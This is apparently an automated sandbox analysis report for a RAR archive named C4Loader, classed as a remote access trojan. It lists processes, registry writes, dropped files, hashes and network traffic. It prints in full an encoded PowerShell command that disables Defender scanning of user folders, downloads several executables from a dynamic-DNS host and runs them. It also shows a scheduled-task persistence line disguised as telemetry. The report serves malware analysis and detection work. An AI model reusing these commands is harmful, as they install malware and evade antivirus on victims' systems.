| File name: | C4Loader.rar |
| Full analysis: | https://app.any.run/tasks/c95e329b-f7d8-48f5-856f-7e529505cddc |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | July 31, 2022, 17:43:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | 31622D471A337D20F15AB9CC6E539A7B |
| SHA1: | 603059AC0B2AC72F727D5C148F48D4B9A07BE919 |
| SHA256: | D4D401C43B0510CC563AE112BDA4977FD6D3CF382A3D0EB8C3122A38B85C9F48 |
| SSDEEP: | 98304:WNOZ8q9sPmbwERP20mMDGvilxKQPivnz4vrg3RKW90biZElJr:W4PsPmhtr9kMpi04Rt0qEf |
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 116 | "C:\Users\admin\AppData\Local\Temp\SysApp.exe" | C:\Users\admin\AppData\Local\Temp\SysApp.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 4294967295 Modules
| |||||||||||||||
| 588 | /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe" | C:\Windows\System32\schtasks.exe | — | SysApp.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1140 | "C:\Users\admin\AppData\Local\Temp\C4Loader.exe" | C:\Users\admin\AppData\Local\Temp\C4Loader.exe | — | powershell.exe | |||||||||||
User: admin Company: C4PRO Integrity Level: HIGH Description: C4Loader Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 2028 | "C:\Users\admin\Desktop\C4Loader\C4Loader.exe" | C:\Users\admin\Desktop\C4Loader\C4Loader.exe | — | Explorer.EXE | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 2184 | "C:\Users\admin\Desktop\C4Loader\C4Loader.exe" | C:\Users\admin\Desktop\C4Loader\C4Loader.exe | — | Explorer.EXE | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 2208 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | — | C4Loader.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: .NET Framework installation utility Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| 2576 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAZgBrACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcgByAGcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZQBmAHUAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcAByAHUAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHcAbwB3AGEAbgAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBqAGoAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAegBwACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAeABuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AHMAcQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwB3AG8AdwBhAG4ALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQAVQBwAGQAYQB0AGUALgBlAHgAZQAnACwAIAA8ACMAZQBuAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AHAAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AHgAdgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQAVQBwAGQAYQB0AGUALgBlAHgAZQAnACkAKQA8ACMAcwB6AGcAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AdwBvAHcAYQBuAC4AZABkAG4AcwAuAG4AZQB0AC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AbgBlAHcAMQAuAGUAeABlACcALAAgADwAIwBuAG0AcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHIAbQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGgAZwBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADEALgBlAHgAZQAnACkAKQA8ACMAbQBwAHAAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AdwBvAHcAYQBuAC4AZABkAG4AcwAuAG4AZQB0AC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AUwB5AHMAQQBwAHAALgBlAHgAZQAnACwAIAA8ACMAdABkAHQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBqAHMAaQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBlAHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQApADwAIwBsAGoAYQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBnAHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABpAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBtAGIAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAG0AYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQB3AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AFUAcABkAGEAdABlAC4AZQB4AGUAJwApADwAIwBkAGEAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AGYAdgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABjAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMQAuAGUAeABlACcAKQA8ACMAbQBmAGEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgBxAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHUAaQBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwBuAGsAcQAjAD4A" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | InstallUtil.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3072 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\C4Loader.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | Explorer.EXE | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 3096 | "C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\C4Loader.rar" C:\Users\admin\Desktop\C4Loader\ | C:\Program Files\WinRAR\WinRAR.exe | Explorer.EXE | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 3220 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | — | C4Loader.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: .NET Framework installation utility Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\C4Loader.rar | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3072) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2576 | powershell.exe | C:\Users\admin\AppData\Local\Temp\C4Loader.exe | executable | |
MD5:— | SHA256:— | |||
| 3096 | WinRAR.exe | C:\Users\admin\Desktop\C4Loader\C4Loader.exe | executable | |
MD5:— | SHA256:— | |||
| 2576 | powershell.exe | C:\Users\admin\AppData\Local\Temp\C4Update.exe | executable | |
MD5:— | SHA256:— | |||
| 2576 | powershell.exe | C:\Users\admin\AppData\Local\Temp\new1.exe | executable | |
MD5:— | SHA256:— | |||
| 2576 | powershell.exe | C:\Users\admin\AppData\Local\Temp\SysApp.exe | executable | |
MD5:— | SHA256:— | |||
| 119564 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | binary | |
MD5:— | SHA256:— | |||
| 119564 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 | der | |
MD5:— | SHA256:— | |||
| 119564 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 | binary | |
MD5:— | SHA256:— | |||
| 2576 | powershell.exe | C:\Users\admin\AppData\Local\Temp\1ixnf4qt.0ey.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2576 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
119564 | iexplore.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAo3h2ReX7SMIk79G%2B0UDDw%3D | US | der | 1.47 Kb | whitelisted |
111516 | iexplore.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8Ull8gIGmZT9XHrHiJQeI%3D | US | der | 1.47 Kb | whitelisted |
111516 | iexplore.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | US | der | 471 b | whitelisted |
119564 | iexplore.exe | GET | 200 | 142.250.185.99:80 | http://ocsp.pki.goog/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D | US | der | 724 b | whitelisted |
119564 | iexplore.exe | GET | 200 | 142.250.185.99:80 | http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCQ7ydxUvDumQqaRl%2FmzX7M | US | der | 472 b | whitelisted |
119564 | iexplore.exe | GET | 200 | 142.250.185.99:80 | http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDqokPk3%2F7FkArt7G%2FRMSO1 | US | der | 472 b | whitelisted |
111516 | iexplore.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEALnkXH7gCHpP%2BLZg4NMUMA%3D | US | der | 471 b | whitelisted |
119564 | iexplore.exe | GET | 200 | 23.216.77.80:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?288facb3716517d3 | US | compressed | 4.70 Kb | whitelisted |
119564 | iexplore.exe | GET | 200 | 142.250.185.99:80 | http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D | US | der | 1.41 Kb | whitelisted |
119564 | iexplore.exe | GET | 200 | 23.216.77.80:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?cfdbf0a67d20ea27 | US | compressed | 4.70 Kb | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2576 | powershell.exe | 212.192.241.219:443 | wowan.ddns.net | — | RU | unknown |
119564 | iexplore.exe | 188.114.97.3:443 | cheats4.pro | Cloudflare Inc | US | malicious |
119564 | iexplore.exe | 23.216.77.80:80 | ctldl.windowsupdate.com | NTT DOCOMO, INC. | US | suspicious |
119564 | iexplore.exe | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
119564 | iexplore.exe | 142.250.185.138:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
119564 | iexplore.exe | 142.250.185.99:80 | ocsp.pki.goog | Google Inc. | US | whitelisted |
195532 | AppLaunch.exe | 92.222.212.91:15290 | — | OVH SAS | FR | malicious |
111516 | iexplore.exe | 204.79.197.200:443 | www.bing.com | Microsoft Corporation | US | whitelisted |
111516 | iexplore.exe | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
3516 | powershell.exe | 212.192.241.219:443 | wowan.ddns.net | — | RU | unknown |
Domain | IP | Reputation |
|---|---|---|
wowan.ddns.net |
| unknown |
cheats4.pro |
| malicious |
ctldl.windowsupdate.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
fonts.googleapis.com |
| whitelisted |
ocsp.pki.goog |
| whitelisted |
api.bing.com |
| whitelisted |
www.bing.com |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
discord.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.ddns .net |
— | — | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
119564 | iexplore.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
119564 | iexplore.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
119564 | iexplore.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
119564 | iexplore.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
119564 | iexplore.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |